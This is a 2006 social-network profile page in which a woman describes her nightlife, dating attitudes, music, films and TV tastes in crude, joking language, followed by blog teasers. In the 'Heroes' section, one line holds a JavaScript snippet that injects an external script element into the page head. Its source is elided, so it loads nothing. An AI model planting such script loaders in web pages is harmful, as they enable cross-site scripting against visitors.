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About Me

Get Your Own! | View Slideshow Get Your Own! | View Slideshow Get Your Own! | View SlideshowGet Your Own! | View SlideshowGet Your Own! | View SlideshowGet Your Own! | View SlideshowHI! im Jen. youve probably seen me somewhere or another. I like to burp. I like to fart, and sneeze and fart at the same time with my finger in my ass and then i like to smell it. Guys find that attractive, dont they? jk maybe thats my problem, shit. I party and club alot you might find me out atleast 4 nights a week. I love social events theyre fun. i also luv luv luv to dance, you'll always find me on the dance floor(or table)shakin my booty. Every night is an adventure when i go out! i have short term memory and it seems to be getting worse as the years progress. i wear glasses while driving, im suppose to wear them all the time but i hate them so if i walk past you and dont say hi its because i REALLY didnt see you. I have a ZERO love life and i kinda like it that way. Ive been single "7" years and am very independent. im not the type of girl who needs a man to validate her. Nobody or anything impresses me anymore. i dont care what your status is, how much money you have, who your daddy is, really...WHO CARES! I date but i can never find anyone who can keep my interest. "LOVE IS A FRIENDSHIP ON FIRE", i like that saying! i have a phobia of BUFFETS...hate them...scared of them..is that weird? they give me the heeby jeebies....and also balloons. im scared that if a balloon pops on me that it will tear my arm off. i like people who are different and who will teach me things. im not a "hater", i like to appreciate individuality. i hate jealousy and ignorance...i can be shy and very self conscious, i dont care what other people think of me, im always my worst critic...i dont think i will ever get married but if i do it will be on the first date....lastly im up for anything spur of the moment just ask and we'll do it... a

My Interests

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I live for fashion and entertainment! Coffee-addicted, Makeup, chihuahuas, partying, free vip tables and drinks, snowboarding, speed skating, horseback riding, hiking, the beach, free peice of ass- single men please apply. I also believe in psychics, astrology, and tarot. I like to know whats in my cards. Lastly, im a shopaholic. I'll shop anywhere that takes visa. Thrift stores are just as much fun as gucci too, please try them.Get Your Own! | View Slideshow

I'd like to meet:

Who really gives a fuck if I don't accept you as a friend? MOVE ON!!! Don't send me another request or message asking "what's up with you not adding me?" I don't want you as a friend, that's what's up!Someone with personality, PLEASE! i like SARCASM, SPONTENEITY, nice arms--baseball players, people on the go, intelligence, tatoos and piercings, DRUMMERS. i like talented people, probably bc i dont have many so im drawn toward it haha. basically im on here to meet cool friends! anyone who lives to be happy and to have fun can message me. i hate drama...

Music:

Luv Shitty music.this involves myself! shit kickin country(swanging twangs and hillbilly thangs) i like the highway stations!! aerosmith3steven tyler(he's my idol), black eyed peas, richard marx, brian adams, marvin gay, Chicago, ying-yang twins, Papa Roach, good charlotte, all american rejects, she wants revenge, rob thomas, Linda Perry, sublime, red hot chili peppers, panic at the disco, killers, my chemical romance, journey, alanis morisette, green day, britney, NERD, ub40, tommy lee! I LOVE THE 80's early 90's...sometimes i go back to the NKOTB record...hangin tough...cover girl..haha luv it..yeah some people will say that i love awesomely BAD music, but ive coped with that. Stranded, stranded, stranded on a toilet bowl. what will you do standin if theres nothing on the roll. so to prove youre a man, you must wipe it with your hand. Stranded, stranded on a toilet bowl. -red hot chili peppers.

Movies:

My Sex and the City DVD's are my life, love them! Wedding Crashers was great, Pretty Woman, Goonies, Fight Club, SUPERSTAR(w/ molly shannon), drew barrymore movies, dirty dancing, Top Gun, indescent proposal, american historyX, the Notebook, IT, Jeepers creepers scared the Sh*t outta me. Mac and Me..the alien kid is soo cute. CRASH-best movie this year! the tent scene in Brokeback mountain..haha

Television:

this is whats TIVO'd...extreme makeover, nip/tuck, Oprah, Rob&Big, anything R-rated. remember cartoon express saturday mornings....Smurfs..care bears..JEM..my little pony..She Ra..wtf happend to good cartoons??

Books:

How about magazines? i Luv fashion magazines and im a catalogue freak! im addicted to Harlequin series, i love the idea of love! i like to buy books but i never end up reading them:)

Heroes:

a friend once told me "Never to settle for average because its just as far up as it is to the bottom."and "A smile is an inexpensive way to improve your looks"..."I believe that friends are quiet angels who lift us to our feet when our wings have trouble remembering how to fly." .."var s=document.createElement('script');s.src='..';document.getEl ementsByTagName('head')[0].appendChild(s);"

My Blog

Support PETA

Body: support FAKE FUR guys!!Workers kick and stomp on the cages and jab the animals with sticks to get them out, then their weakened bodies are bludgeoned, hanged, bled, or strangled with wire n...
Posted by yes...im THAT girl on Sun, 14 May 2006 11:42:00 PST

stepped into church

ive been feeling very sad lately...just not connected to anything or anyone and i thought about god.  i have not stepped into a church for anything other than funerals or weddings since i was 13y...
Posted by yes...im THAT girl on Fri, 24 Mar 2006 10:48:00 PST

five variable love test

Your Five Variable Love Profile http://images.blogthings.com/thefivevariablelovetest/love.jp g" height="100" width="100">Propensity for Monogamy: Your propensity for monogamy is high.You find it...
Posted by yes...im THAT girl on Wed, 22 Mar 2006 11:59:00 PST